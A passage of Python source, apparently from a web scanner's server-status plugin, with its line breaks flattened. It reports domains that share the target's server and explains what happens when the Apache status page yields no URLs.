om.out.vulnerability( v.getDesc(), severity=v.getSeverity() ) msg = 'This list of domains, and the domain of the web application under test,' msg += ' all point to the same server:' om.out.vulnerability(msg, severity=severity.MEDIUM ) for url in self._shared_hosting_hosts: om.out.vulnerability('- ' + url, severity=severity.MEDIUM ) # Check if well parsed elif 'apache' in response.getBody().lower(): msg = 'Couldn\'t find any URLs in the apache server status page. Two things can' msg += ' trigger this:\n - The Apache web server sent a server-status page' msg += ' that the serverStatus plugin failed to parse or,\n - The remote ' msg += ' web server has no traffic. If you are sure about the first one, please' msg += ' report a bug.' om.out.information( msg ) om.out.debug('The server-status body is: "'+response.getBody()+'"') return res